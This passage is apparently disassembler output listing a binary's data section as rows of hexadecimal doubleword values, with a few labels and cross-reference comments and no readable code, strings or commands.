dd 8879782Ah, 0F400F5B0h, 7223EE3Bh, 5AA9F9ADh, 3FC08CB3h
dd 0EE561905h, 26C2E220h, 947A53h, 0F492C093h, 2BF1D97Bh
dd 90739E25h, 659D7Ch, 4A3D1395h, 19C31730h, 0CEB1E800h
dd 0E1FD2E53h, 90B74C36h, 390C9824h, 0F40441A7h, 0EB0AD72h
dd 20CA3D8Ah, 69941DDEh, 4009824h, 35182A7Ah, 9334D042h
dd 6CB03946h, 5022D490h, 98CB0EAh, 48DE1A1Ch, 0B11648A0h
dd 0BC9C7DEEh, 0E042AD40h, 832F35F1h, 0FBBA8030h, 10003CBBh
dd 11BD7875h, 0A76BDDh, 0D37490B2h, 5CBBC9AFh, 0E244158h
dd 0F7796686h, 24CBC806h, 3CC00168h, 0D6251A9Ch, 48C0145Fh
dd 0B47EB138h, 1C84A34h, 3B4ECC55h, 806C3874h, 0C4CDF9Dh
dd 44E400F7h, 0EF8009B9h, 2E0036F4h, 6D410E7h, 693898h
dd 79D0F352h, 5E354FC4h, 0D4472CBCh, 0C32BFB60h, 0E6EC91h
dd 2DBD6DF0h, 0B6B427FFh, 0DE0F6E73h, 273A1B41h, 13C30205h
dd 0D8A004BEh, 0BC66EB6Ah, 0A7558008h, 3ABD139Fh, 0C15E7343h
dd 7E1DB734h, 91618820h, 4CF90F53h, 0A7A0DF7Eh, 1870D92Bh
dd 441E3227h, 0E67ABCh, 0B43A8C3Dh, 0B2449D0Ah, 0C2809499h
dd 61F5CC17h, 40C900DCh, 0FE16B442h
db 14h, 86h
word_544F42 dw 3B04h ; DATA XREF: ___:off_435E10o
dd 0B5D106E1h, 273C5098h, 506085C4h, 0EC324F97h, 647BB987h
dd 775D0070h, 0A0D36B5Eh, 1D7E5AA5h, 0C13D2703h, 0C014BE82h
dd 96E489Fh, 0F6873C9Ah, 13A0F282h, 1011446h, 0F23A105Ch
dd 2A4BE0h, 250F370Ch, 14B89A2Bh, 0B224AC16h, 54BCE824h
dd 80FFA985h, 0F44FA63Dh, 3B110403h, 0A8BF0283h, 97547B0Dh
dd 0B15A10A0h, 230089ECh, 26B532AFh, 0D6A28h, 52E03DDEh
dd 0CB5BABA4h, 0FFC81400h, 98E41776h, 0B34A0F1Fh, 7980CEEBh
dd 0F83ECFBh, 0B6F49300h, 0E56D2091h, 8D2303E0h, 0ED5D8EA6h
dd 12042003h, 59301C5h, 900AA810h, 67AC0C4h, 8063F9B3h
dd 80D34D29h, 18B6C24Eh, 19888498h, 0DD00A90Dh, 1E455F6Ch
dd 7251C84Eh, 0BDA3058Ch, 80D920CBh, 89D77904h, 0C8748A3h
dd 0FDE06671h, 55CE0CA0h, 0E66C8801h, 6B95CC8Fh, 0C7984D4h
dd 0B19B08BCh, 0F5167E29h, 400063E5h, 0B6C81EA2h, 3B2113F6h
dd 26806ADh, 0ED0028A8h, 72C10B3Dh, 18DAAA1Ah, 7903C8CAh
dd 290041B3h, 3F32597Bh, 0ADFB7BAh, 9AD40F81h, 0BFE10054h
dd 264CF6CCh, 0D7006872h, 0B505C8D8h, 0E8D2Fh, 358B7A8Ch
dd 0F5BDCA6Dh, 21AD3C05h, 9C08BC05h, 0E49A8C88h, 1101D951h
dd 6CDA18C7h, 3FF49908h, 0CB7127h, 0BCD8792Bh, 365E87FDh
dd 2139B073h, 9D3075D5h, 7BCE41B3h, 0A0285078h, 742D0586h
dd 0A03611h, 44928858h, 0C43C2E4Fh, 0D9C8EC1h, 0D0D4E071h
dd 932CADh, 34A6F6EEh, 3FD59F03h, 0B1844903h, 0FC78C541h
dd 6696E900h, 0CC391AD7h, 0C4B5001Dh, 2D16FB7Bh, 0EED3305h
dd 0F0CAF828h, 0F38C40DDh, 0D0D800B6h, 0E7816274h, 3B0C5BADh
dd 99861378h, 0C8AB5405h, 0EA2B009Eh, 0B10C44FFh, 0F51D4932h
dd 8E0E3E60h, 8F161F91h, 1EC05100h, 2D9A312h, 7B3FE3ECh
dd 0A8A28C84h, 0CB604B76h, 1A3C089Bh, 0A90380EAh, 8BF628B1h
dd 8FD500FCh, 6720B568h, 9E00F71Ah, 8358AF46h, 30792D6Ch
dd 0D6998EDDh, 1F1EE80Dh, 0C48F4A55h, 9B8F8148h, 8822C8BDh
dd 9819AD00h, 4761FF44h, 1905C532h, 383460F2h, 1F08003Eh
dd 84FDE7F9h, 13022196h, 47B10BAFh, 99B08085h, 9181A63Fh
dd 500500B8h, 74892F98h, 38C8054h, 6AB7A700h, 6FB04AF3h
dd 52E0049h, 0D507D01Ah, 0E03BFA9Bh, 0C0F02A3Dh, 0A7DA7100h
dd 0AEF747F9h, 1B69013Bh, 40A33038h, 6FB8CCDFh, 4458BB00h
dd 0C5140452h, 0D8B9C067h, 0C4E2CE05h, 422FDC00h, 34B04D7Bh
dd 6021D40Dh, 66987300h, 2F9BBFD0h, 0BE308B1Dh, 4E9D2A0Eh
dd 80EC74A4h, 49E20907h, 15050E0Dh, 97209477h, 0DCCE8AFCh
dd 0A567317Ah, 9C7042E1h, 2448D4Ch, 2EDB9D0Dh, 36403233h
dd 0A0001FD8h, 30A4D38Fh, 60057EAEh, 0E50839A9h, 1E0395ECh
dd 9718D078h, 1615982Ch, 0A87F5487h, 38F70020h, 7511D876h
dd 7700E3BAh, 0AFE63C31h, 0E220BF27h, 12EC9Fh, 0E8F42CC0h
dd 460E51Ch, 8730A071h, 0B4E64985h, 8FB000D1h, 0DCBB22EEh
dd 5499C5D4h, 5A5C1707h, 8AE4A181h, 0B0A35820h, 32A9028Fh
dd 1229C12Eh, 40AD9060h, 879E7308h, 0B7768980h, 0C09F3A04h
dd 0B212DA6Eh, 49092478h, 1086A1F4h, 1E2EF86Ch, 80CB6281h
dd 8A6BCE21h, 6407DAA6h, 934E6A65h, 88F5F000h, 907F5474h
dd 217901CEh, 48E08D6Dh, 42A4E0B0h, 21A60230h, 910A98h
dd 0CD998C6Bh, 7FC4DF65h, 2CDC9500h, 0F6A69D2Bh, 58404CD3h
dd 34639322h, 818278h, 0C30A1211h, 0CB32D13Bh, 36296660h
dd 2CA342C4h, 9C5F8E1h, 0F8160479h, 80CCB43Eh, 90E84450h
dd 520A137h, 80081C13h, 318049Bh, 0BB82C066h, 2D05EFF5h
dd 42A7B849h, 9703A813h, 8E879889h, 0E0A31E91h, 903B40B4h
dd 85A2498Bh, 0D3D90100h, 99F276EFh, 0D150002Eh
dword_545350 dd 514BD538h, 70A44684h, 8037322Ch, 21160820h, 5008E767h
; DATA XREF: ___:off_43D394o
dd 0B6D380B1h, 0C89D036Ah, 33291A61h, 3FCCB390h, 0C0C738DBh
dd 0E33CD080h, 1291E0F6h, 251C81FBh, 0A6DF2FA0h, 52F5D5C8h
dd 3C2E98FDh, 3B730022h, 84959217h, 0CF818AF5h, 0D81CFF25h
dd 46A4AE00h, 905FA1F6h, 92F70CA6h, 7299889Ah, 7B394200h
dd 821940E8h, 464E0531h, 0C03CC292h, 9F8C0ADAh, 1E122D13h
dd 0C1D0EC00h, 0E8D39673h, 1546243Bh, 1C0C40ACh, 63046C7Ah
dd 5C37D520h, 0A8312C81h, 908CB010h, 0F8619200h, 0DA7B37FCh
dd 0BE6D0039h, 0B0356AF9h, 9812E893h, 68004C2Ah, 29CE459h
dd 4E41C0A7h, 0D7A1D3F2h, 23B61B02h, 41A3E99Dh, 8A107D20h
dd 66004102h, 0AA4B1E3h, 0FE1EADh, 0AEE8C2E0h, 0BC84E1C3h
dd 566B017h, 609B1022h, 18880B85h, 48981403h, 0A4AA8D87h
dd 0B548F580h, 8B000999h, 6A5CF00Ch, 8D61Dh, 5BD3E1B6h
dd 234D79Ah, 3D004C99h, 0B7082BD2h, 0ACA304C5h, 8C01668Bh
dd 7C3ABA04h, 2BB017Fh, 0E2988E4h, 9C8CC180h, 1878D0A0h
dd 4E1690C8h, 3BCE00F1h, 391272C9h, 75643FBFh, 263A2Ch
dd 0CD8FA9A1h, 18B09525h, 45530C00h, 39977315h, 0A38B0048h
dd 829ECA3Fh, 96011BBEh, 8A114C03h, 0EB8478h, 0CB398161h
dd 0CAE74E57h, 7DBB607h, 19401FF9h, 236EBF5h, 0D0B2906Fh
dd 0EC608457h, 4D00FD1Ch, 7088D37h, 912BF48Fh, 0FF183A50h
dd 0A08DF9EFh, 0EBD52E03h, 0C5397312h, 34F514D0h, 0FA668805h
dd 2417A4B1h, 2E730405h, 3C9C8Ch, 0BD182DC5h, 0F4AD7ADCh
dd 77C2D805h, 0D0CC3016h, 23591CECh, 6FBD0006h, 0BA8F9B32h
dd 909A012Ch, 87AC6D08h, 0A3C08B49h, 8FF29803h, 0D5871CE3h
dd 6A4818C8h, 0A0004188h, 3F9DFB1Dh, 181E14E5h, 0C0B1D58Fh
dd 0DC5407B5h, 9E0075E0h, 0BA43F7D3h, 0F6132E05h, 0C454005Ah
dd 0B9AB6014h, 0D34C20CDh, 1B10CF4h, 24D24A2h, 3DBDFEC9h
dd 30E3B7A0h, 0B2A080B4h, 92A786Ch, 64C88FCh, 38E180C0h
dd 0B988DAh, 0D4105F2Fh, 8AD4597h, 0C0D0732Eh, 31624400h
dd 328978h, 1305290Ch, 382E63DEh, 941E1501h, 0E49D5AB4h
dd 0ACF88FC9h, 266D7D20h, 0F907ADAh, 0C865E191h, 0D084417Ch
dd 0D4C4173Ah, 8000BFFAh, 91293B63h, 9390CA5h, 7CA038Fh
dd 8494D410h, 0B724F000h, 0D8B3B8C9h, 801B0058h, 2873ACBBh
dd 90985239h, 0DDD12306h, 0F39B402h, 7EB043ABh, 0D5A27F01h
dd 315070E8h, 684DB8A0h, 0A3BCFD00h, 88672D8Ah, 86C22624h
dd 0DA3B40E0h, 3703CEFAh, 0D04E4762h, 0F7923A9Ch, 0D4873E81h
dd 614DBBE2h, 0C33D0ACh, 40A1CD2Eh, 0BFE4996h, 6890C8DBh
dd 0A002E2Bh, 0B75AFF25h, 4D9FEF1h, 6DBE4116h, 89648037h
dd 3D003224h, 2C968546h, 0B8233B36h, 0A4A70427h, 0EB97B18Fh
dd 0B89C4501h, 80FBC9C6h, 90CAB9h, 0AD13FBD2h, 0EADD783Ch
dd 0C8A2F0A8h, 0C7816460h, 0A31C42h, 0A1E3CB84h, 926AD937h
dd 792B7A0Ah, 8D40CCC6h, 428A64h, 478132B9h, 0D212997h
dd 0CE6CF700h, 9C694384h, 2CBF482Ah, 45D5D980h, 0B970D878h
dd 0C4A4100h, 48AC8ED4h, 9B3E259Dh, 0B19FC20h, 1A0E7428h
dd 837BC177h, 0B08D1473h, 56DBDD6h, 35F38C39h, 0FA1C30BEh
dd 180042D3h, 0E2DA2813h, 1DB387A7h, 0C09D32B8h, 0E620266Eh
dd 230B02Ah, 0A282C90Ch, 0DC785C60h, 80C4A429h, 0E8F16C43h
dd 5B00EECEh, 56CD96B6h, 48822D77h, 9424C035h, 704F0058h
dd 9CF6C125h, 21B4D102h, 667C47D0h, 0DCF23FE4h, 43A6B580h
dd 0C8483153h, 0F43AB200h, 0B69839C4h, 0F27909C0h, 10993088h
dd 4A52ECF6h, 6620F500h, 502CCBBAh, 32B600EFh, 0EB710536h
dd 1104B523h, 2FF5A9F4h, 0DA8488C0h, 195E09CAh, 0D84059A7h
dd 0FD25F48Bh, 4B88100Eh, 78457627h, 80C0996Ch, 706D6974h
dd 0B700A8D9h, 0D79D7BBEh, 216619h, 3A10852Bh, 2D80AAB5h
dd 0CAD48300h, 4475158Bh, 4DE5027Dh, 7EC50BCBh, 0E789D20h
dd 1685009Bh, 81E9EBB0h, 0BD3A979Ah, 86F08C89h, 3E7984h
dd 9284693h, 0BAAE5EEFh, 0E800A878h, 0B9CEB04Dh, 0B12C8B38h
dd 1C8714B4h, 0FCC79600h, 0DD05D4C5h, 0CB8F7D09h, 3C440BBh
dd 0B0D0FEA1h, 0D7200FE8h, 6782996Ch, 0C443508Dh, 629A55E1h
dd 51CF00C4h, 1DEAEBF3h, 7488158Ch, 0CB27C4B1h, 0F078B022h
dd 0A66AFD40h, 3A4984Ch, 0FB504CB3h, 696824A2h, 0DCE904CCh
dd 990C805Dh, 7C022221h, 0B341A28Fh, 81F052E4h, 0A6137EF4h
dd 31F861E6h, 0F36D2500h, 8C953F4Ah, 24B13FCCh, 0BA2E2600h
dd 1E167D5Ch, 131FF500h, 4995F4A0h, 0D0126141h, 0F9975AC1h
dd 0C7584426h, 510E8099h, 5E051F12h, 0A4400D7Fh, 13E4A030h
dd 9F5500EFh, 99541FB2h, 8E0E4B97h, 0A4846A9Dh, 0C4CC8D25h
dd 81160004h, 97868EC0h, 4B03BC19h, 0A584F59Fh, 0D445BF94h
dd 38708405h, 1541B000h, 34B7AAh, 79A09FC2h, 0F6B3ADD8h
dd 0C88ABA0Bh, 0EE30A132h, 50DC68F4h, 753000A6h, 5C57478Fh
dd 2F029517h, 4B69BFBDh, 12C59B9h, 31EA9EFAh, 5FE2C87Fh
dd 384CF00Eh, 8CAF01E1h, 0B5E89F8Dh, 0CB9008Fh, 3692D362h
dd 896087A0h, 4073C841h, 82520010h, 8FD3129Ch, 5B07FD6Eh
dd 0CA42032Ah, 418CFA0h, 0DEB40448h, 0E427F5B5h, 0D0076628h
dd 8AF7A017h, 9A095641h, 0C50F683Dh, 1B80ABA9h, 31F0F79Dh
dd 9A2208EEh, 58C0088h, 137B6C58h, 0D500571Ch, 30042089h
dd 0C908EBAh, 5C8DA621h, 6C0088A9h, 0D3423F2Fh, 0FA30682Ah
dd 2DFA04C3h, 0E2B6E0B4h, 973A5Ch, 0D7468C6Bh, 3C494CA5h
dd 6D846E92h, 0B0D129CAh, 0F100B2F0h, 0FCB2748h, 21F95F8h
dd 887A81BDh, 4848820Ah, 9D50402Ah, 621C7358h, 37C0CCD2h
dd 169635D1h, 0C375FDh, 5BCAF06Fh, 5C599AA6h, 8020C558h
dd 0AFA58C4Eh, 0C9A01C9Dh, 0B02B8073h, 70154CB6h, 0FE0C430Bh
dd 1D84626h, 3CA3CEE7h, 6897A005h, 209D0138h, 40DCA713h
dd 70D0BA45h, 965CE6A6h, 87C24174h, 0C611807Bh, 0BA2D3863h
dd 43C0127Eh, 84C40047h, 669A97E6h, 2037135Bh, 0C024C01Eh
dd 0F0F5C585h, 6E940154h, 5089FE22h, 80C838F7h, 0C916351Eh
dd 0A27607ABh, 0CF0BC324h, 51E29A66h, 0CAF14800h, 0A895A4E7h
dd 25F52CD1h, 58E14F30h, 80A62A98h, 520E870h, 1667B648h
dd 3B89C3h, 2DD0C088h, 9D1495CEh, 2EF84558h, 3C891841h
dd 325C54EDh, 0D8648751h, 55B01500h, 5FC78552h, 7ADB8B1h
dd 40D3BF74h, 35C0BE42h, 6ACBDFA0h, 135FD14Ch, 3C32AB0Bh
dd 0F48F2192h, 2106326h, 79F5E0D9h, 0B8885201h, 90D8B098h
dd 3C83909Ch, 6384F776h, 0E82109BDh, 0CD4201C5h, 6A2AD67Bh
dd 2E5E74F0h, 1658F6A4h, 0CB0C9231h, 46002864h, 0CEB8403Bh
dd 6F2249h, 6BC879F2h, 0B463D2F4h, 4A80220h, 0A68D33BEh
dd 40188CE5h, 8008C558h, 29B9AC54h, 1E9700F0h, 848A89EEh
dd 0D8019680h, 7A02E970h, 7C3DC88Eh, 76CAD01h, 2C4BE006h
dd 0D10580F0h, 246D281h, 0C49FE321h, 0DC799453h, 0F0FAC000h
dd 0FD426E1h, 8F1B6739h, 4C3BD1C1h, 75282073h, 0B3C00509h
dd 8848108Dh, 2AC9131h, 1F04E9AEh, 0B005CD1h, 0D77A980Dh
dd 0CA59052Ah, 0A43288F3h, 824FA688h, 3030E452h, 0FC9E8Eh
dd 0F6A6FA70h, 76CC6AC9h, 8479C8A0h, 27B83CA0h, 5AAB7203h
dd 0DFE3BF2Bh, 0D8F64BF3h, 5D9BA6F9h, 2116FC56h, 2D00EB6Dh
dd 94659E6Eh, 87031842h
dd 6CEB497Ah, 18361000h, 0BDA116D6h, 0F250A002h, 3BDC0008h
dd 0CCE0603Dh, 4B003A7Dh, 0A2224AC4h, 91F28412h, 0B400B990h
dd 61161107h, 8B1628D7h, 0AA139FB6h, 562AFC90h, 0ACB50018h
dd 0BBD38A82h, 4317FAFCh, 930687C3h, 0E8EF3Eh, 0D5363FF1h
dd 6D33B9D4h, 52B21604h, 0A4804349h, 0E9842A1Fh, 4E9CB5F4h
dd 4F8C2018h, 530161DBh, 689B63Ah, 0C83CB713h, 0ADE56903h
dd 6014F198h, 48CD690h, 50237E18h, 1D7CB4h, 17BCAD01h
dd 5D978A5Eh, 8B33D709h, 0DEF41027h, 2838BACFh, 1C0535h
dd 9EE9C5C0h, 4A5E0A1Dh, 2B29060Fh, 90160012h, 1E6A5524h
dd 4ABCFD49h, 80981E9Ah, 0AFC8B5E9h, 4E007DADh, 3D5EF018h
dd 259D9A8h, 0AA134B7Ah, 6059157Ch, 19396A00h, 1D31C7DBh
dd 83D9031Ch, 7BC8F7FFh, 0DD07A100h, 69982575h, 0D2E90094h
dd 2E7C7F01h, 0EB026D36h, 0E66414E2h, 7C6486h, 2EE10E2Bh
dd 0D8FF6BF4h, 2F3F2A7Dh, 7D321895h, 48D57B79h, 880509Bh
dd 6FA6A11Fh, 2E2758B0h, 0F68C2315h, 50EE0E0Ah, 11E076E9h
dd 1659779h, 48B1D018h, 55AA08h, 0A4725C33h, 0F62A09E2h
dd 0E3F9EA1Ch, 0EDE14000h, 6059D38Eh, 580E3991h, 49E21632h
dd 5C792900h, 4D88384Fh, 0C13000E4h, 0A3408CEDh, 1909BE28h
dd 38F7A11h, 0B92417DBh, 498C8857h, 0F1819BB2h, 0FA624300h
dd 978D99D7h, 382D0073h, 7DA026D8h, 0AB269B98h, 3AB15Fh
dd 0EF47B851h, 723BE23Ah, 0F8E11DDAh, 23EBC08Fh, 8BB96CA8h
dd 1CF9170Ch, 0B8E4616Ah, 0F72A003Eh, 0C9CC5E39h, 9F605999h
dd 0E5A5A889h, 0F7B3A8Eh, 96FCC080h, 0B0DC7EA9h, 9A4EDD00h
dd 18F91F3Ah, 51D66Bh, 0B547A078h, 1C31E2DCh, 0FFD1944h
dd 0BE650880h, 7C9D2D22h, 353B8C00h, 0E5478B20h, 95AF07A0h
dd 4C5ECD81h, 6A0E7C81h, 0A5DE0821h, 4AC04737h, 0EC240987h
dd 50D7608Fh, 7F401D01h, 11252E30h, 0A23B66h, 0CB99BF75h
dd 0AC6AE53Dh, 0CF31E03h, 0E0E131B2h, 57F265h, 0EEE336A3h
dd 5C394574h, 0A9C2AE0Bh, 0B95D0C31h, 30687E4Bh, 213EE3FBh
dd 73009691h, 6B1E2465h, 484B4AB7h, 43801C58h, 0A136183Dh
dd 0ECB2902h, 8093413Fh, 50A822C0h, 145900E7h, 9E53B357h
dd 0CC184CA7h, 6CB9DD2Eh, 5ACD00E2h, 3257D617h, 3000BC69h
dd 74432A8Ah, 1E4B6E26h, 4384DFB5h, 6D5846F0h, 1B6B7900h
dd 459E1A11h, 70503110h, 20444A19h, 0F0EBDF10h, 19C19278h
dd 0D18C4F60h, 0B1097986h, 92EAF141h, 80FD58h, 83473D29h
dd 0F84D1C5h, 0E971FBFAh, 2A61F080h, 0A900295Fh, 0E6379AE1h
dd 5C43AF85h, 3600E94Dh, 86FE8832h, 4807A1B6h, 0E49B2FC7h
dd 0C2DA5501h, 40000422h, 82B4F7EDh, 0DCF077CFh, 803C5848h
dd 99B50290h, 0E662E6F3h, 9EC500DBh, 9A2D66CAh, 7800E9EDh
dd 61738BEh, 30AC5FA8h, 0C9590BC2h, 0B70EAB30h, 0E0F869BCh
dd 0C9B2E33h, 0D821DD11h, 8FE7F9FFh, 896EF607h, 0ADC0BDFCh
dd 0C00EC2E1h, 8D473E29h, 27127409h, 0A0021935h, 902930CDh
dd 4D08D8h, 2F5C78ADh, 0B5E7C6BCh, 0E3BA501Ch, 0C31EF74Eh
dd 0C62E4B8Eh, 5F700031h, 2C47F42h, 0BD015192h, 6A20D4Ah
dd 6040FD57h, 2972947Ch, 0BCF04FCAh, 0BC734D8Ah, 918607B4h
dd 0AA81303Eh, 4300A8C9h, 9EE6D30Eh, 0A5218C6h, 632DF9FFh
dd 898C86E8h, 3A0F81D4h, 0C0BF0F29h, 0A5AFFBE2h, 3FA90130h
dd 818C6945h, 5F2992FCh, 0F5B11427h, 0BD4BCC1h, 347E091Ah
dd 3080F9E2h, 98586231h, 3F7829C0h, 0C503CAh, 9922618h
dd 9B428C5Dh, 0D904E237h, 2129A981h, 5CD9B930h, 4D0AABFFh
dd 8024FDE2h, 29BF5309h, 0B03BDEDAh, 0AB869ECAh, 19AF2E81h
dd 0CC2216F9h, 0E248C804h, 0AFD4C817h, 5C00F8B8h, 0E73B7D18h
dd 29E2950Bh, 8844EF0h, 58A4D185h, 86804910h, 8CA8334Ah
dd 0E49A4700h, 7FD4D9Fh, 0E3A9018Dh, 0BF50F94Fh, 0A33420BAh
dd 591CB200h, 110FE9Eh, 22B890EAh, 9B1A9463h, 80F1061Dh
dd 8F4AA2BCh, 0C0C2B8E5h, 0F45C6071h, 1C1EF741h, 840A60Ch
dd 0C234A235h, 3CAEF858h, 0C813BE3Fh, 882C304Ch, 0E0005E37h
dd 0D9F1ABBBh, 0F2991621h, 86A800D2h, 0FFF61490h, 0A905E73Ah
dd 55293B8Bh, 534090C7h, 5215E242h, 90118495h, 5C5F28DEh
dd 0B309577Ah, 80DB6D30h, 0E71AE6E0h, 772D3C2Ch, 0E59AAA04h
dd 0C0384F04h, 581E1C59h, 0A141C393h, 179024E9h, 0E2146F8Fh
dd 1C386B29h, 0CB804740h, 22173AF5h, 81DB602Fh, 6379B572h
dd 0E5ABFB0Fh, 629A099h, 60ECC740h, 0DF33AA4Ah, 0B150DB22h
dd 62003E60h, 35FFC0C1h, 60C3BD15h, 0A1949912h, 6C0A119Ah
dd 0DC5134D4h, 10468503h, 52A9E655h, 2B07FCB1h, 0DB9E5203h
dd 4AC77380h, 80C07498h, 3FE3CE9Ch, 35A00143h, 18E275A9h
dd 7E1E1094h, 2FE01F3Bh, 0FAB08C44h, 7009819h, 5E649025h
dd 1C71D939h, 401EF630h, 139FEA4Eh, 2A12526Eh, 44248E47h
dd 62D4F030h, 466C1D44h, 13259F3Ah, 0A0F008F6h, 0CEEFE480h
dd 1EC77433h, 0C0B11088h, 0C38DE794h, 6800E80Dh, 8F571C49h
dd 50E4E6AEh, 0C0D69F6Ah, 0B8EBF969h, 0AFEAA187h, 4C38C200h
dd 0B0497CDFh, 34C1C04Fh, 0C4F7978Ah, 5D6FB80Fh, 43003E9Ch
dd 9ACB8230h, 890F3C70h, 0E00EE283h, 0B3D1DA2Ch, 61B5F47Ah
dd 0BB95C00h, 1D73ACCAh, 0DBAB0043h, 0EED42B59h, 463061B8h
dd 0E36748E1h, 3ACE89Dh, 0E2EA1A02h, 50751DDAh, 6B824E00h
dd 697F92B0h, 19C40099h, 0F65C8E04h, 59001364h, 0AB0BE8D6h
dd 0C0B6ACF3h, 0F8935089h, 261F7A07h, 18BA3161h, 29A91768h
dd 5CD138AFh, 25747D01h, 0F48B33BEh, 4D0E53FCh, 80B4D64Eh
dd 9950DDF8h, 10C96049h, 2B9DE1AEh, 1545A601h, 0E4337912h
dd 7C4A7180h, 0F0C3BE86h, 2D259A07h, 1EC8D03Ch, 341700F9h
dd 0A0DD6495h, 0F165190Fh, 0E76DA787h, 2B1D2AE0h, 18693755h
dd 738A01A1h, 0E415E168h, 2C069965h, 0EF331F2Fh, 5B30071h
dd 0D1747FA6h, 15002E44h, 24417672h, 3F6C5EBDh, 0B680EAF1h
dd 0D8583B63h, 0C00A48A2h, 0AC14311Eh, 35670681h, 0BA30DDA0h
dd 0F8994B53h, 862039DCh, 8936F5ABh, 5AC300C1h, 0E415C0FAh
dd 58004801h, 0CB766086h, 2835658Eh, 0B80D6Eh, 0B80839DBh
dd 4C701940h, 0AE121003h, 1B68FEh, 91393AD9h, 0D51DE25h
dd 70F93Bh, 1016DB3Bh, 29867F53h, 149C9AB8h, 0B687886Fh
dd 0E7FE8054h, 0AC00F831h, 0DE04AAF3h, 12B5A2C4h, 4DA2043h
dd 88B83394h, 927BE900h, 3BF7AB00h, 0F54BAEE2h, 0B5DE001Ch
dd 7D2A456Fh, 1D7F83DCh, 0EF711560h, 0B79BE5h, 99D3A1A8h
dd 0C99ACD3Ch, 2AE0B48h, 255DA2E3h, 0D85440DAh, 2A776F4h
dd 63C8A96Eh, 61402D56h, 0B0A820D4h, 1F05BF75h, 0F7554BC9h
dd 0B461DC80h, 67EC2C46h, 97DB00FFh, 7EA8F4FAh, 522CCB01h
dd 1C371D5Fh, 134841BBh, 63F08045h, 96891905h, 70FFE1B3h
dd 0F4487522h, 123B00A4h, 4067C8C0h, 316F09B7h, 6F876097h
dd 999C100Ah, 0C800B3A7h, 6E460D2Eh, 348BD2Ah, 0B0EDCBBEh
dd 20C625C6h, 0AF97631Dh, 23D59A07h, 0AE7A81FEh, 88801A69h
dd 0FA81722Dh, 4D007353h, 0D29C7B70h, 0BFDB37h, 0C03ED841h
dd 522D39FEh, 0A454D406h, 10013Ah, 0DC400A53h, 295FFED2h
dd 7D0180EAh, 48E8EFD7h, 29803CAAh, 96A0DFD1h, 0D900FB51h
dd 485F6DC1h, 3748494h, 0ACE40CCh, 0E1E05CBEh, 8F03DB7Fh
dd 0D472D25Bh, 522BE158h
dd 0C0074880h, 0DB7BC443h, 152F8000h, 0AA3687D0h, 0CC50064h
dd 0CE7F1E78h, 0D0A2174h, 5C963F4Eh, 0A4DE8005h, 574809h
dd 69C7A65Fh, 61456066h, 70BB5121h, 0AEF5A200h, 8043ADC6h
dd 65B40A86h, 0E69267h, 18335601h, 0AE0F8C24h, 64BC6F03h
dd 0C0C0237Dh, 0F6AF853h, 0BF7C5143h, 7731A060h, 1A00A125h
dd 87B4F270h, 0EC00654h, 0A2E9783Eh, 5AD6F801h, 95A99E55h
dd 86D23F80h, 0F9AF17Bh, 8B3A6228h, 0DC92D783h, 3DA589E0h
dd 67EEC9C0h, 7C89B16h, 6A8D98A4h, 0CF258F76h, 79B000B0h
dd 9982B95Fh, 0A5BEB207h, 90C7FC51h, 724E414Ch, 0AD7361h
dd 0D5E6959Eh, 6C7DBE15h, 3A9CC401h, 2ABF5AF1h, 68A89050h
dd 0DA8600D5h, 5EAA2D1h, 0DB00083Ah, 9389540Bh, 556727B5h
dd 0AEC8948Ch, 0FD7F07A9h, 0A18DE618h, 20689040h, 0B772B273h
dd 0B1F07400h, 59886378h, 692660C8h, 566E91AAh, 0B332FA00h
dd 0D5104277h, 0BB3F1580h, 69189428h, 4E8C698Eh, 0DFEC784Eh
dd 877B8D00h, 1FE8164Ah, 9F138301h, 0B2E96DC4h, 605B35D0h
dd 0D9A34150h, 0FE00EDE7h, 0C690065Ah, 3143AEBDh, 1203EDDh
dd 0D07AFD7Bh, 86F83623h, 48193D60h, 746FBCh, 28C5C19Bh
dd 0B33EB6D9h, 0F07CC401h, 3BA55986h, 111BB050h, 0F26B1C83h
dd 5CC20066h, 427A5D7Eh, 513C8C31h, 80E06BC4h, 1CA45056h
dd 6E9838F9h, 0D8B93481h, 0D08EDA72h, 9BA0B4B5h, 662A3D8Ah
dd 0F805808Dh, 6999FE3h, 7F0C6DC0h, 0C67A00F3h, 93208C78h
dd 0E2184033h, 0A7714668h, 0F02C008Ah, 5C06B7C1h, 6206ACE3h
dd 40A5D097h, 55243881h, 0B8587A80h, 7E3413C8h, 0D0884298h
dd 8A0E6FAFh, 1EFF35B0h, 71205B07h, 69C603Ah, 0EC458C80h
dd 60A57FE0h, 62631947h, 0E400A689h, 0D4386BF9h, 23EB107h
dd 0FA05EF95h, 6AE0F87Fh, 500A76DCh, 0D8045AB0h, 20D1038Eh
dd 0EF5B1388h, 4C6106B6h, 2165983Fh, 80086648h, 7961720h
dd 0F8F46Ah, 71FAAC74h, 7B48FFA4h, 5D67C02h, 40877F90h
dd 1FE036C4h, 0CC152B72h, 43A939A7h, 4CF8D452h, 714B0E10h
dd 0BC209218h, 1D496C4Fh, 87D40D82h, 90B8402Bh, 36D561A0h
dd 0FFB9441Ah, 340C8799h, 0D8217F95h, 0A4503E66h, 0AD6D99h
dd 7B253CEEh, 6D09CE6h, 0A534E900h, 0DB4E785Bh, 0A0CE7786h
dd 174D414Ch, 0E11BAEFh, 5980F0A4h, 0B1F15B70h, 0C34BE3Ah
dd 613F6154h, 0BC8A00F7h, 0B33568A3h, 7B004BF8h, 0E2D2F921h
dd 0C01D660Fh, 7E59829h, 0B400E008h, 0A6CAAE3Dh, 2E966B7h
dd 0BDF5FA3Fh, 7C405DEAh, 5188233h, 0CD913EA5h, 0D8AE00DBh
dd 0AC8E9667h, 0CF1C2855h, 6ACBF2BFh, 0CC0800A5h, 985E332Fh
dd 679D0140h, 0F78CED79h, 0D416CCBFh, 8B442E1Ch, 61BC49C0h
dd 98EC7236h, 3F841294h, 7ED820BDh, 0A101A055h, 4A0C5159h
dd 5AD0D823h, 7721C04Fh, 0B286F378h, 0F705D27Ch, 0D7C817A8h
dd 0C6109387h, 1FACE07Dh, 89133070h, 0BC07B083h, 60411D58h
dd 0C20EC86Dh, 20AAF9FBh, 6312A338h, 507E07CEh, 527940D0h
dd 841156Fh, 0D05EED61h, 41C05359h, 7BA4A7FEh, 7BC98F9h
dd 3F557F83h, 801915C0h, 0BAAB0850h, 5786F119h, 611052D8h
dd 0C0000CD9h, 38ACDF46h, 101DCCCFh, 0F4368DCh, 20A9A101h
dd 0D155C790h, 6BA00A3h, 989DA2D2h, 62E367A7h, 17007660h
dd 0E554BFB9h, 90552E80h, 0AC840120h, 0AD48AE33h, 0DC5415h
